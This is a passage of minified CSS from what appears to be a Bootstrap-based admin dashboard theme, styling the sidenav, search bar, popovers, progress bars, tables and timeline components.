1rem)!important;margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;color:#fff;border-radius:.375rem;background:#5e72e4}.navbar-vertical.navbar-expand-lg .navbar-nav .nav .nav-link{padding-top:.45rem;padding-bottom:.45rem;padding-left:3.5rem}.navbar-vertical.navbar-expand-lg .navbar-nav .nav .nav .nav-link{padding-left:4.25rem}}@media (min-width:1200px){.navbar-vertical.navbar-expand-xl{position:fixed;top:0;bottom:0;display:block;overflow-y:auto;width:100%;max-width:62px;padding-right:0;padding-left:0}.navbar-vertical.navbar-expand-xl .navbar-inner{padding-right:1.5rem;padding-left:1.5rem}.navbar-vertical.navbar-expand-xl>[class*=container]{flex-direction:column;min-height:100%;padding-right:0;padding-left:0;align-items:stretch}}@media all and (min-width:1200px) and (-ms-high-contrast:none),(min-width:1200px) and (-ms-high-contrast:active){.navbar-vertical.navbar-expand-xl>[class*=container]{height:100%;min-height:none}}@media (min-width:1200px){.navbar-vertical.navbar-expand-xl.fixed-left{left:0;border-width:0 1px 0 0}.navbar-vertical.navbar-expand-xl.fixed-right{right:0;border-width:0 0 0 1px}.navbar-vertical.navbar-expand-xl .navbar-collapse{display:flex;flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem;flex:1 1;align-items:stretch}.navbar-vertical.navbar-expand-xl .navbar-collapse>*{min-width:100%}.navbar-vertical.navbar-expand-xl .navbar-nav{flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem}.navbar-vertical.navbar-expand-xl .navbar-nav .nav-link{padding:.675rem 1.5rem}.navbar-vertical.navbar-expand-xl .navbar-nav>.nav-item{margin-top:2px}.navbar-vertical.navbar-expand-xl .navbar-nav>.nav-item>.nav-link.active{margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;border-radius:.375rem;background:#f6f9fc}.navbar-vertical.navbar-expand-xl .lavalamp-object{width:calc(100% - 1rem)!important;margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;color:#fff;border-radius:.375rem;background:#5e72e4}.navbar-vertical.navbar-expand-xl .navbar-nav .nav .nav-link{padding-top:.45rem;padding-bottom:.45rem;padding-left:3.5rem}.navbar-vertical.navbar-expand-xl .navbar-nav .nav .nav .nav-link{padding-left:4.25rem}}.navbar-vertical.navbar-expand-xs.fixed-left+.main-content{margin-left:62px}.navbar-vertical.navbar-expand-xs.fixed-right+.main-content{margin-right:62px}@media (min-width:576px){.navbar-vertical.navbar-expand-sm.fixed-left+.main-content{margin-left:62px}.navbar-vertical.navbar-expand-sm.fixed-right+.main-content{margin-right:62px}}@media (min-width:768px){.navbar-vertical.navbar-expand-md.fixed-left+.main-content{margin-left:62px}.navbar-vertical.navbar-expand-md.fixed-right+.main-content{margin-right:62px}}@media (min-width:992px){.navbar-vertical.navbar-expand-lg.fixed-left+.main-content{margin-left:62px}.navbar-vertical.navbar-expand-lg.fixed-right+.main-content{margin-right:62px}}@media (min-width:1200px){.navbar-vertical.navbar-expand-xl.fixed-left+.main-content{margin-left:62px}.navbar-vertical.navbar-expand-xl.fixed-right+.main-content{margin-right:62px}}.sidenav.fixed-left+.main-content{margin-left:62px;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.sidenav.fixed-left+.main-content{transition:none}}.sidenav.fixed-right+.main-content{margin-right:62px;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.sidenav.fixed-right+.main-content{transition:none}}@media (min-width:1200px){.g-sidenav-pinned .sidenav.fixed-left+.main-content{margin-left:250px}.g-sidenav-pinned .sidenav.fixed-right+.main-content{margin-right:250px}}.sidenav{z-index:1050;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.sidenav{transition:none}}@media (min-width:1200px){.sidenav:hover{max-width:250px}.sidenav .sidenav-toggler{padding:1.5rem}}.sidenav .navbar-brand,.sidenav .navbar-heading{display:none;padding:1.5rem}.sidenav-header{height:78px}.g-sidenav-show .sidenav .navbar-brand,.g-sidenav-show .sidenav .navbar-heading{display:block}.g-sidenav-show .sidenav .nav-item .collapse{height:auto;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.g-sidenav-show .sidenav .nav-item .collapse{transition:none}}.g-sidenav-pinned .sidenav{max-width:250px!important}.g-sidenav-pinned .sidenav .navbar-brand,.g-sidenav-pinned .sidenav .navbar-heading{display:block}.g-sidenav-hidden:not(.g-sidenav-show) .sidenav .navbar-nav>.nav-item>.nav-link:after{content:''}.g-sidenav-hidden:not(.g-sidenav-show) .sidenav .nav-item .collapse{display:none!important}.g-sidenav-hidden:not(.g-sidenav-show) .sidenav .nav-link-text{display:none!important}.g-sidenav-hide .sidenav .navbar-nav>.nav-item>.nav-link:after{content:''}.g-sidenav-hide .sidenav .nav-item .collapse{display:none!important}.g-sidenav-hide .sidenav .nav-link-text{display:none!important}@media (max-width:1199.98px){.sidenav{transform:translateX(-62px)}.sidenav.fixed-left+.main-content{margin-left:0!important}.g-sidenav-pinned .sidenav{transform:translateX(0)}}.sidenav-toggler-inner,.sidenav-toggler-line{width:18px;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.sidenav-toggler-inner,.sidenav-toggler-line{transition:none}}.sidenav-toggler-inner{position:relative}.sidenav-toggler-inner:before{position:absolute;top:-14px;left:-11px;width:40px;height:40px;content:'';transition:all .15s cubic-bezier(.68,-.55,.265,1.55);transform:scale(0);border-radius:50%}@media (prefers-reduced-motion:reduce){.sidenav-toggler-inner:before{transition:none}}.sidenav-toggler-line{position:relative;display:block;height:2px;background-color:#172b4d}.sidenav-toggler-line:not(:last-child){margin-bottom:3px}.sidenav-toggler-dark .sidenav-toggler-line{background-color:#fff}.sidenav-toggler{cursor:pointer}.sidenav-toggler.active .sidenav-toggler-inner:before{transform:scale(1)}.sidenav-toggler.active .sidenav-toggler-line:first-child{width:13px;transform:translateX(5px)}.sidenav-toggler.active .sidenav-toggler-line:last-child{width:13px;transform:translateX(5px)}.navbar-search .input-group{transition:background-color .3s linear;transition-delay:.15s;border:0 solid;border-radius:2rem}@media (prefers-reduced-motion:reduce){.navbar-search .input-group{transition:none}}.navbar-search .input-group .input-group-text{padding-left:1rem;border:0;background-color:transparent}.navbar-search .form-control{width:250px;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);border:0;background-color:transparent}@media (prefers-reduced-motion:reduce){.navbar-search .form-control{transition:none}}.navbar-search .focused .input-group .form-control{width:380px}.navbar-search .close{display:none}.navbar-search-dark .input-group{border-color:rgba(255,255,255,.6);background-color:rgba(23,43,77,.8)}.navbar-search-dark .input-group-text{color:rgba(255,255,255,.6)}.navbar-search-dark .form-control{color:rgba(255,255,255,.9)}.navbar-search-dark .form-control::-ms-input-placeholder{color:rgba(255,255,255,.6)}.navbar-search-dark .form-control::placeholder{color:rgba(255,255,255,.6)}.navbar-search-dark .focused .input-group{border-color:rgba(255,255,255,.9);background-color:rgba(23,43,77,.9)}.navbar-search-light .input-group{border-color:rgba(0,0,0,.6);background-color:rgba(255,255,255,.9)}.navbar-search-light .input-group-text{color:rgba(0,0,0,.6)}.navbar-search-light .form-control{color:rgba(0,0,0,.9)}.navbar-search-light .form-control::-ms-input-placeholder{color:rgba(0,0,0,.6)}.navbar-search-light .form-control::placeholder{color:rgba(0,0,0,.6)}.navbar-search-light .focused .input-group{border-color:rgba(0,0,0,.9);background-color:#fff}@media (max-width:575.98px){.navbar-search{display:none;width:100%;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);transform:translateX(-150%)}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.navbar-search{transition:none}}@media (max-width:575.98px){.navbar-search .form-group{width:100%}.navbar-search .form-control{width:auto}.navbar-search .focused .input-group .form-control{width:auto}.navbar-search .close{display:none;opacity:0}.navbar-search .close span{width:auto;height:auto}.navbar-top .navbar-nav{transition:all .15s ease}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.navbar-top .navbar-nav{transition:none}}@media (max-width:575.98px){.g-navbar-search-showing .navbar-search .close{display:block}.g-navbar-search-showing .navbar-top .navbar-nav{display:flex;transform:translateX(150%);opacity:1}.g-navbar-search-show .navbar-search{display:block}.g-navbar-search-show .navbar-search .form-control{width:auto}.g-navbar-search-show .navbar-search .close{line-height:46px;position:absolute;top:0;right:0;width:46px;height:46px;cursor:pointer;text-align:center;color:#fff}.g-navbar-search-show .navbar-top .navbar-nav{display:none}.g-navbar-search-show .navbar-top .navbar-collapse{width:100%}.g-navbar-search-shown .navbar-search{transform:translateX(0)}.g-navbar-search-shown .navbar-search .close{display:block;opacity:1}.g-navbar-search-hiding .navbar-top .navbar-nav{display:flex;transform:translateX(150%);opacity:0}.g-navbar-search-hidden .navbar-top .navbar-nav{transform:translateX(0);opacity:1}}.navbar .dropdown-menu{margin:0;pointer-events:none;opacity:0}.navbar .dropdown-menu-arrow:before{position:absolute;z-index:-5;bottom:100%;left:20px;display:block;width:12px;height:12px;content:'';transform:rotate(-45deg) translateY(12px);border-radius:2px;background:#fff;box-shadow:none}.navbar .dropdown-menu-right:before{right:20px;left:auto}.navbar:not(.navbar-nav-hover) .dropdown-menu.show{animation:show-navbar-dropdown .25s ease forwards;pointer-events:auto;opacity:1}.navbar:not(.navbar-nav-hover) .dropdown-menu.close{display:block;animation:hide-navbar-dropdown .15s ease backwards}.navbar.navbar-nav-hover .dropdown-menu{display:block;transition:visibility .25s,opacity .25s,transform .25s;transform:translate(0,10px) perspective(200px) rotateX(-2deg);pointer-events:none;opacity:0}.navbar.navbar-nav-hover .nav-item.dropdown:hover>.dropdown-menu{display:block;visibility:visible;transform:translate(0,0);animation:none;pointer-events:auto;opacity:1}.navbar .dropdown-menu-inner{position:relative;padding:1rem}@keyframes show-navbar-dropdown{0%{transition:visibility .25s,opacity .25s,transform .25s;transform:translate(0,10px) perspective(200px);opacity:0}100%{transform:translate(0,0);opacity:1}}@keyframes hide-navbar-dropdown{from{opacity:1}to{transform:translate(0,10px);opacity:0}}.navbar-collapse-header{display:none}@keyframes show-navbar-collapse{0%{transform:scale(.95);transform-origin:100% 0;opacity:0}100%{transform:scale(1);opacity:1}}@keyframes hide-navbar-collapse{from{transform:scale(1);transform-origin:100% 0;opacity:1}to{transform:scale(.95);opacity:0}}.navbar-top{padding-right:1rem;padding-left:1rem;border:0}.navbar-top .container,.navbar-top .container-fluid{padding-right:15px;padding-left:15px}@media (min-width:576px){.navbar-top .navbar-brand{display:none}}@media (max-width:575.98px){.navbar-top .navbar-collapse{width:100%}.navbar-top .nav-item{position:static}.navbar-top .nav-item .dropdown-menu{position:absolute;right:auto;left:3%;width:94%;min-width:auto}}.navbar-top.border-bottom.navbar-dark{border-color:rgba(255,255,255,.08)!important}.navbar-top.border-bottom.navbar-light{border-color:rgba(0,0,0,.04)!important}.sidenav-pinned .navbar-top .navbar-brand{display:none}.nav-wrapper{padding:1rem 0;border-top-left-radius:.375rem;border-top-right-radius:.375rem}.nav-wrapper+.card{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:.375rem;border-bottom-left-radius:.375rem}.nav-link{color:#525f7f}.nav-link:hover{color:#5e72e4}.nav-link i.ni{position:relative;top:2px}.nav-pills .nav-item:not(:last-child){padding-right:1rem}.nav-pills .nav-link{font-size:.875rem;font-weight:500;padding:.75rem 1rem;transition:all .15s ease;color:#5e72e4;background-color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.nav-pills .nav-link:hover{color:#485fe0}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#5e72e4}@media (max-width:575.98px){.nav-pills .nav-item{margin-bottom:1rem}}@media (max-width:767.98px){.nav-pills:not(.nav-pills-circle) .nav-item{padding-right:0}}.nav-pills-circle .nav-link{line-height:60px;width:60px;height:60px;padding:0;text-align:center;border-radius:50%}.nav-pills-circle .nav-link-icon i,.nav-pills-circle .nav-link-icon svg{font-size:1rem}.page-item.active .page-link{box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.page-item .page-link,.page-item span{font-size:.875rem;display:flex;width:36px;height:36px;margin:0 3px;padding:0;border-radius:50%!important;align-items:center;justify-content:center}.pagination-lg .page-item .page-link,.pagination-lg .page-item span{line-height:46px;width:46px;height:46px}.pagination-sm .page-item .page-link,.pagination-sm .page-item span{line-height:30px;width:30px;height:30px}.popover{border:0}.popover-header{font-weight:600}.popover-primary{background-color:#5e72e4}.popover-primary .popover-header{color:#fff;background-color:#5e72e4}.popover-primary .popover-body{color:#fff}.popover-primary .popover-header{border-color:rgba(255,255,255,.2)}.popover-primary.bs-popover-auto[x-placement^=top] .arrow::after,.popover-primary.bs-popover-top .arrow::after{border-top-color:#5e72e4}.popover-primary.bs-popover-auto[x-placement^=right] .arrow::after,.popover-primary.bs-popover-right .arrow::after{border-right-color:#5e72e4}.popover-primary.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-primary.bs-popover-bottom .arrow::after{border-bottom-color:#5e72e4}.popover-primary.bs-popover-auto[x-placement^=left] .arrow::after,.popover-primary.bs-popover-left .arrow::after{border-left-color:#5e72e4}.popover-secondary{background-color:#f7fafc}.popover-secondary .popover-header{color:#212529;background-color:#f7fafc}.popover-secondary .popover-body{color:#212529}.popover-secondary .popover-header{border-color:rgba(33,37,41,.2)}.popover-secondary.bs-popover-auto[x-placement^=top] .arrow::after,.popover-secondary.bs-popover-top .arrow::after{border-top-color:#f7fafc}.popover-secondary.bs-popover-auto[x-placement^=right] .arrow::after,.popover-secondary.bs-popover-right .arrow::after{border-right-color:#f7fafc}.popover-secondary.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-secondary.bs-popover-bottom .arrow::after{border-bottom-color:#f7fafc}.popover-secondary.bs-popover-auto[x-placement^=left] .arrow::after,.popover-secondary.bs-popover-left .arrow::after{border-left-color:#f7fafc}.popover-success{background-color:#2dce89}.popover-success .popover-header{color:#fff;background-color:#2dce89}.popover-success .popover-body{color:#fff}.popover-success .popover-header{border-color:rgba(255,255,255,.2)}.popover-success.bs-popover-auto[x-placement^=top] .arrow::after,.popover-success.bs-popover-top .arrow::after{border-top-color:#2dce89}.popover-success.bs-popover-auto[x-placement^=right] .arrow::after,.popover-success.bs-popover-right .arrow::after{border-right-color:#2dce89}.popover-success.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-success.bs-popover-bottom .arrow::after{border-bottom-color:#2dce89}.popover-success.bs-popover-auto[x-placement^=left] .arrow::after,.popover-success.bs-popover-left .arrow::after{border-left-color:#2dce89}.popover-info{background-color:#11cdef}.popover-info .popover-header{color:#fff;background-color:#11cdef}.popover-info .popover-body{color:#fff}.popover-info .popover-header{border-color:rgba(255,255,255,.2)}.popover-info.bs-popover-auto[x-placement^=top] .arrow::after,.popover-info.bs-popover-top .arrow::after{border-top-color:#11cdef}.popover-info.bs-popover-auto[x-placement^=right] .arrow::after,.popover-info.bs-popover-right .arrow::after{border-right-color:#11cdef}.popover-info.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-info.bs-popover-bottom .arrow::after{border-bottom-color:#11cdef}.popover-info.bs-popover-auto[x-placement^=left] .arrow::after,.popover-info.bs-popover-left .arrow::after{border-left-color:#11cdef}.popover-warning{background-color:#fb6340}.popover-warning .popover-header{color:#fff;background-color:#fb6340}.popover-warning .popover-body{color:#fff}.popover-warning .popover-header{border-color:rgba(255,255,255,.2)}.popover-warning.bs-popover-auto[x-placement^=top] .arrow::after,.popover-warning.bs-popover-top .arrow::after{border-top-color:#fb6340}.popover-warning.bs-popover-auto[x-placement^=right] .arrow::after,.popover-warning.bs-popover-right .arrow::after{border-right-color:#fb6340}.popover-warning.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-warning.bs-popover-bottom .arrow::after{border-bottom-color:#fb6340}.popover-warning.bs-popover-auto[x-placement^=left] .arrow::after,.popover-warning.bs-popover-left .arrow::after{border-left-color:#fb6340}.popover-danger{background-color:#f5365c}.popover-danger .popover-header{color:#fff;background-color:#f5365c}.popover-danger .popover-body{color:#fff}.popover-danger .popover-header{border-color:rgba(255,255,255,.2)}.popover-danger.bs-popover-auto[x-placement^=top] .arrow::after,.popover-danger.bs-popover-top .arrow::after{border-top-color:#f5365c}.popover-danger.bs-popover-auto[x-placement^=right] .arrow::after,.popover-danger.bs-popover-right .arrow::after{border-right-color:#f5365c}.popover-danger.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-danger.bs-popover-bottom .arrow::after{border-bottom-color:#f5365c}.popover-danger.bs-popover-auto[x-placement^=left] .arrow::after,.popover-danger.bs-popover-left .arrow::after{border-left-color:#f5365c}.popover-light{background-color:#adb5bd}.popover-light .popover-header{color:#fff;background-color:#adb5bd}.popover-light .popover-body{color:#fff}.popover-light .popover-header{border-color:rgba(255,255,255,.2)}.popover-light.bs-popover-auto[x-placement^=top] .arrow::after,.popover-light.bs-popover-top .arrow::after{border-top-color:#adb5bd}.popover-light.bs-popover-auto[x-placement^=right] .arrow::after,.popover-light.bs-popover-right .arrow::after{border-right-color:#adb5bd}.popover-light.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-light.bs-popover-bottom .arrow::after{border-bottom-color:#adb5bd}.popover-light.bs-popover-auto[x-placement^=left] .arrow::after,.popover-light.bs-popover-left .arrow::after{border-left-color:#adb5bd}.popover-dark{background-color:#212529}.popover-dark .popover-header{color:#fff;background-color:#212529}.popover-dark .popover-body{color:#fff}.popover-dark .popover-header{border-color:rgba(255,255,255,.2)}.popover-dark.bs-popover-auto[x-placement^=top] .arrow::after,.popover-dark.bs-popover-top .arrow::after{border-top-color:#212529}.popover-dark.bs-popover-auto[x-placement^=right] .arrow::after,.popover-dark.bs-popover-right .arrow::after{border-right-color:#212529}.popover-dark.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-dark.bs-popover-bottom .arrow::after{border-bottom-color:#212529}.popover-dark.bs-popover-auto[x-placement^=left] .arrow::after,.popover-dark.bs-popover-left .arrow::after{border-left-color:#212529}.popover-default{background-color:#172b4d}.popover-default .popover-header{color:#fff;background-color:#172b4d}.popover-default .popover-body{color:#fff}.popover-default .popover-header{border-color:rgba(255,255,255,.2)}.popover-default.bs-popover-auto[x-placement^=top] .arrow::after,.popover-default.bs-popover-top .arrow::after{border-top-color:#172b4d}.popover-default.bs-popover-auto[x-placement^=right] .arrow::after,.popover-default.bs-popover-right .arrow::after{border-right-color:#172b4d}.popover-default.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-default.bs-popover-bottom .arrow::after{border-bottom-color:#172b4d}.popover-default.bs-popover-auto[x-placement^=left] .arrow::after,.popover-default.bs-popover-left .arrow::after{border-left-color:#172b4d}.popover-white{background-color:#fff}.popover-white .popover-header{color:#212529;background-color:#fff}.popover-white .popover-body{color:#212529}.popover-white .popover-header{border-color:rgba(33,37,41,.2)}.popover-white.bs-popover-auto[x-placement^=top] .arrow::after,.popover-white.bs-popover-top .arrow::after{border-top-color:#fff}.popover-white.bs-popover-auto[x-placement^=right] .arrow::after,.popover-white.bs-popover-right .arrow::after{border-right-color:#fff}.popover-white.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-white.bs-popover-bottom .arrow::after{border-bottom-color:#fff}.popover-white.bs-popover-auto[x-placement^=left] .arrow::after,.popover-white.bs-popover-left .arrow::after{border-left-color:#fff}.popover-neutral{background-color:#fff}.popover-neutral .popover-header{color:#212529;background-color:#fff}.popover-neutral .popover-body{color:#212529}.popover-neutral .popover-header{border-color:rgba(33,37,41,.2)}.popover-neutral.bs-popover-auto[x-placement^=top] .arrow::after,.popover-neutral.bs-popover-top .arrow::after{border-top-color:#fff}.popover-neutral.bs-popover-auto[x-placement^=right] .arrow::after,.popover-neutral.bs-popover-right .arrow::after{border-right-color:#fff}.popover-neutral.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-neutral.bs-popover-bottom .arrow::after{border-bottom-color:#fff}.popover-neutral.bs-popover-auto[x-placement^=left] .arrow::after,.popover-neutral.bs-popover-left .arrow::after{border-left-color:#fff}.popover-darker{background-color:#000}.popover-darker .popover-header{color:#fff;background-color:#000}.popover-darker .popover-body{color:#fff}.popover-darker .popover-header{border-color:rgba(255,255,255,.2)}.popover-darker.bs-popover-auto[x-placement^=top] .arrow::after,.popover-darker.bs-popover-top .arrow::after{border-top-color:#000}.popover-darker.bs-popover-auto[x-placement^=right] .arrow::after,.popover-darker.bs-popover-right .arrow::after{border-right-color:#000}.popover-darker.bs-popover-auto[x-placement^=bottom] .arrow::after,.popover-darker.bs-popover-bottom .arrow::after{border-bottom-color:#000}.popover-darker.bs-popover-auto[x-placement^=left] .arrow::after,.popover-darker.bs-popover-left .arrow::after{border-left-color:#000}.progress-wrapper{position:relative;padding-top:1.5rem}.progress{overflow:hidden;height:8px;margin-bottom:1rem;border-radius:.25rem;background-color:#e9ecef;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress .sr-only{font-size:13px;line-height:20px;left:0;clip:auto;width:auto;height:20px;margin:0 0 0 30px}.progress-sm{height:5px}.progress-xs{height:3px}.progress-heading{font-size:14px;font-weight:500;margin:0 0 2px;padding:0}.progress-bar{height:auto;border-radius:0;box-shadow:none}.progress-info{display:flex;margin-bottom:.5rem;align-items:center;justify-content:space-between}.progress-label span{font-size:.625rem;font-weight:600;display:inline-block;padding:.25rem 1rem;text-transform:uppercase;color:#5e72e4;border-radius:30px;background:rgba(94,114,228,.1)}.progress-percentage{text-align:right}.progress-percentage span{font-size:.875rem;font-weight:600;display:inline-block;color:#8898aa}.separator{position:absolute;top:auto;right:0;left:0;overflow:hidden;width:100%;height:150px;transform:translateZ(0);pointer-events:none}.separator svg{position:absolute;pointer-events:none}.separator-top{top:0;bottom:auto}.separator-top svg{top:0}.separator-bottom{top:auto;bottom:0}.separator-bottom svg{bottom:0}.separator-inverse{transform:rotate(180deg)}.separator-skew{height:60px}@media (min-width:1200px){.separator-skew{height:70px}}.section-nucleo-icons{--icon-size:5rem;--icon-sm-size:3.75rem;--gutter:7rem}.section-nucleo-icons .icons-container{position:relative;z-index:1;max-width:100%;height:360px;margin:0 auto}.section-nucleo-icons .icons-container i{position:absolute;z-index:1;display:inline-flex;transition:all .2s cubic-bezier(.25,.65,.9,.75);transform:translate(-50%,-50%);border-radius:50%;background:#fff;box-shadow:0 0 2rem 0 rgba(136,152,170,.15);align-items:center;justify-content:center}.section-nucleo-icons .icons-container i.icon{font-size:1.7em;width:var(--icon-size);height:var(--icon-size)}.section-nucleo-icons .icons-container i.icon-sm{font-size:1.5em;width:var(--icon-sm-size);height:var(--icon-sm-size)}.section-nucleo-icons .icons-container i:nth-child(1){font-size:42px;z-index:2;color:#fb6340}.section-nucleo-icons .icons-container i{opacity:1}.section-nucleo-icons .icons-container i:nth-child(1){font-size:42px;top:50%;left:50%;color:#fb6340}.section-nucleo-icons .icons-container i:nth-child(2){top:50%;left:calc(50% + (var(--gutter) * 1.7))}.section-nucleo-icons .icons-container i:nth-child(3){top:calc(50% + var(--gutter));left:calc(50% + var(--gutter))}.section-nucleo-icons .icons-container i:nth-child(4){top:calc(50% - var(--gutter));left:calc(50% + var(--gutter))}.section-nucleo-icons .icons-container i:nth-child(5){top:50%;left:calc(50% + (var(--gutter) * 4))}.section-nucleo-icons .icons-container i:nth-child(6){top:calc(50% + (var(--gutter) * 1.5));left:calc(50% + (var(--gutter) * 2.7))}.section-nucleo-icons .icons-container i:nth-child(7){top:calc(50% - (var(--gutter) * 1.5));left:calc(50% + (var(--gutter) * 2.7))}.section-nucleo-icons .icons-container i:nth-child(8){top:50%;left:calc(50% - (var(--gutter) * 1.7))}.section-nucleo-icons .icons-container i:nth-child(9){top:calc(50% + var(--gutter));left:calc(50% - var(--gutter))}.section-nucleo-icons .icons-container i:nth-child(10){top:calc(50% - var(--gutter));left:calc(50% - var(--gutter))}.section-nucleo-icons .icons-container i:nth-child(11){top:50%;left:calc(50% - (var(--gutter) * 4))}.section-nucleo-icons .icons-container i:nth-child(12){top:calc(50% + (var(--gutter) * 1.5));left:calc(50% - (var(--gutter) * 2.7))}.section-nucleo-icons .icons-container i:nth-child(13){top:calc(50% - (var(--gutter) * 1.5));left:calc(50% - (var(--gutter) * 2.7))}.shortcut-media{transition:all .15s cubic-bezier(.68,-.55,.265,1.55)}@media (prefers-reduced-motion:reduce){.shortcut-media{transition:none}}.shortcut-item{padding-top:1rem;padding-bottom:1rem;text-align:center}.shortcut-item small{font-size:.8125rem;font-weight:600;display:block;margin-top:.75rem}.shortcut-item:hover .shortcut-media{transform:scale(1.1)}.table thead th{font-size:.65rem;padding-top:.75rem;padding-bottom:.75rem;letter-spacing:1px;text-transform:uppercase;border-bottom:1px solid #e9ecef}.table th{font-weight:600}.table td .progress{width:120px;height:3px;margin:0}.table td,.table th{font-size:.8125rem;white-space:nowrap}.table.align-items-center td,.table.align-items-center th{vertical-align:middle}.table .thead-dark th{color:#4d7bca;background-color:#1c345d}.table .thead-dark th a{color:#4d7bca}.table .thead-light th{color:#8898aa;background-color:#f6f9fc}.table .thead-light th a{color:#8898aa}.table-hover tr{transition:all .15s ease}@media (prefers-reduced-motion:reduce){.table-hover tr{transition:none}}.table-flush td,.table-flush th{border-right:0;border-left:0}.table-flush tbody tr:first-child td,.table-flush tbody tr:first-child th{border-top:0}.table-flush tbody tr:last-child td,.table-flush tbody tr:last-child th{border-bottom:0}.card .table{margin-bottom:0}.card .table td,.card .table th{padding-right:1.5rem;padding-left:1.5rem}.table .custom-toggle{display:block}.table-action{font-size:.875rem;margin:0 .25rem;color:#adb5bd}.table-action:hover{color:#919ca6}.table-action-delete:hover{color:#f5365c}.table-dark .table-action{color:#4d7bca}.table [data-sort]{cursor:pointer}.table .thead-dark [data-sort]::after{margin-left:.25rem;content:url('data:image/svg+xml;utf8,')}.table .thead-light [data-sort]::after{margin-left:.25rem;content:url('data:image/svg+xml;utf8,')}.timeline{position:relative}.timeline:before{position:absolute;top:0;left:1rem;height:100%;content:'';border-right:2px solid #e9ecef}[data-timeline-axis-style=dashed]:before{border-right-style:dashed!important}[data-timeline-axis-style=dotted]:before{border-right-style:dotted!important}.timeline-block{position:relative;margin:2em 0}.timeline-block:after{display:table;clear:both;content:''}.timeline-block:first-child{margin-top:0}.timeline-block:last-child{margin-bottom:0}.timeline-step{font-size:1rem;font-weight:600;position:absolute;z-index:1;left:0;display:inline-flex;width:33px;height:33px;transform:translateX(-50%);text-align:center;border-radius:50%;align-items:center;justify-content:center}.timeline-step i,.timeline-step svg{line-height:1.4}.timeline-step-icon{border:2px solid #e9ecef;background:#fff}.timeline-step-xs{font-size:.75rem;width:17px;height:17px}.timeline-step-sm{font-size:.75rem;width:23px;height:23px}.timeline-step-lg{font-size:1.75rem;width:47px;height:47px}.timeline-content{position:relative;position:relative;top:-6px;margin-left:60px;padding-top:.5rem}.timeline-content:after{display:table;clear:both;content:''}.timeline-body{padding:1.5rem}@media (min-width:992px){.timeline:before{left:50%;margin-left:-2px}.timeline-step{left:50%}.timeline-content{width:38%}.timeline-body{padding:1.5rem}.timeline-block:nth-child(even) .timeline-content{float:right}[data-timeline-axis-color=primary]:before{border-color:#5e72e4}[data-timeline-axis-color=secondary]:before{border-color:#f7fafc}[data-timeline-axis-color=success]:before{border-color:#2dce89}[data-timeline-axis-color=info]:before{border-color:#11cdef}[data-timeline-axis-color=warning]:before{border-color:#fb6340}[data-timeline-axis-color=danger]:before{border-color:#f5365c}[data-timeline-axis-color=light]:before{border-color:#adb5bd}[data-timeline-axis-color=dark]:before{border-color:#212529}[data-timeline-axis-color=default]:before{border-color:#172b4d}[data-timeline-axis-color=white]:before{border-color:#fff}[data-timeline-axis-color=neutral]:before{border-color:#fff}[data-timeline-axis-color=darker]:before{border-color:#000}}.timeline-one-side:before{left:1rem}.timeline-one-side .timeline-step{left:1rem}.timeline-one-side .timeline-content{width:auto}@media (min-width:992px){.timeline-one-side .timeline-content{max-width:30rem}}.timeline-one-side .timeline-block:nth-child(even) .timeline-content{float:none}p{font-size:1rem;font-weight:300;line-height:1.7}.lead{font-size:1.25rem;font-weight:300;line-height:1.7;margin-top:1.5rem}.lead+.btn-wrapper{margin-top:3rem}.description{font-size:.875rem}article h4:not(:first-child),article h5:not(:first-child){margin-top:3rem}article h4,article h5{margin-bottom:1.5rem}article figure{margin:3rem 0}article h5+figure{margin-top:0}.display-1 span,.display-2 span,.display-3 span,.display-4 span{font-weight:300;display:block}h1>a,h2>a,h3>a,h4>a,h5>a,h6>a{color:inherit}.heading{font-size:.95rem;font-weight:600;letter-spacing:.025em;text-transform:uppercase}.heading-small{font-size:.75rem;padding-top:.25rem;padding-bottom:.25rem;letter-spacing:.04em;text-transform:uppercase}.heading-title{font-size:1.375rem;font-weight:600;letter-spacing:.025em;text-transform:uppercase}.heading-section{font-size:1.375rem;font-weight:600;letter-spacing:.025em;text-transform:uppercase}.heading-section img{display:block;width:72px;height:72px;margin-bottom:1.5rem}.heading-section.text-center 